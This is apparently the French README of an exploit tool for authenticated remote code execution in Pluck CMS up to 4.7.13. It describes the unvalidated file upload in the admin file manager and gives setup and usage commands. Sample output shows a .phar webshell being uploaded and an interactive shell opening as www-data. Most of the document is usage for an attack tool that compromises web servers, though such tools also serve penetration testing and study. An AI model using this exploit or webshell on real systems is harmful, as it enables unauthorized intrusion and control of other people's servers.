
Exploit RCE authentifié pour Pluck CMS <= 4.7.13 via un téléchargement de fichier non validé. Télécharge un webshell PHP et fournit un shell de commande interactif.
Exécution de code à distance authentifiée dans Pluck CMS avant la version 4.7.13. Le gestionnaire de fichiers admin (
admin.php?action=files) ne valide pas les extensions de fichiers, ce qui permet de télécharger des fichiers.pharqu'Apache exécute comme du PHP. Le téléchargement d'un webshell via ce point de terminaison entraîne une RCE en tant qu'utilisateur du serveur web.
shell.phar via le gestionnaire de fichiers admin.id.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD
# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck
Exemple:
$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data